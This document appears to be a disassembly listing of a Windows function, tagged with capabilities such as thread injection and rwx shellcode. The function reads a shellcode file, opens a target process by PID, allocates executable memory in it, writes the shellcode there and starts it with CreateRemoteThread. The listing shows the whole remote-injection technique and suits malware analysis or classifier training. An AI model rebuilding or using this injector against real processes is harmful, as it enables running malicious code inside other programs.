Function at 0x14001128a
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140015dd0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x208
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x228]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x1400220a2]
call fcn.14001138e
cmp dword [rbp + 0x1e0], 2
je 0x140015e4f
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x1e8]
mov rdx, qword [rcx + rax]
lea rcx, str.Usage:__s__PID__n
call fcn.1400111a9
mov eax, 1
jmp 0x140016135
lea r8, [0x14001ac10]
lea rdx, str.shellcode.txt
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fopen_s]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x140015e89
mov edx, dword [rbp + 0x24]
lea rcx, str.Failed_to_open_shellcode_file._Error_code:__d_n
call fcn.1400111a9
mov eax, 1
jmp 0x140016135
mov r8d, 2
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fseek]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_ftell]
mov dword [rbp + 0x44], eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fseek]
movsxd rax, dword [rbp + 0x44]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x68], rax
movsxd rax, dword [rbp + 0x44]
mov r9, qword [rbp + 8]
mov r8, rax
mov edx, 1
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_fread]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x1e8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x84], eax
mov r8d, dword [rbp + 0x84]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x140015f59
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_process._Error_code:__lu_n
call fcn.1400111a9
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 1
jmp 0x140016135
movsxd rax, dword [rbp + 0x44]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
jne 0x140015fc3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_allocate_memory_in_the_remote_process._Error_code:__lu_n
call fcn.1400111a9
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 1
jmp 0x140016135
movsxd rax, dword [rbp + 0x44]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140016041
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_write_shellcode_to_the_remote_process._Error_code:__lu_n
call fcn.1400111a9
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 1
jmp 0x140016135
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0xc8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x1400160d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_remote_thread._Error_code:__lu_n
call fcn.1400111a9
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 1
jmp 0x140016135
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_free]
lea rcx, str.Shellcode_injected_successfully._n
call fcn.1400111a9
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ac80]
call fcn.14001132a
mov rax, rdi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret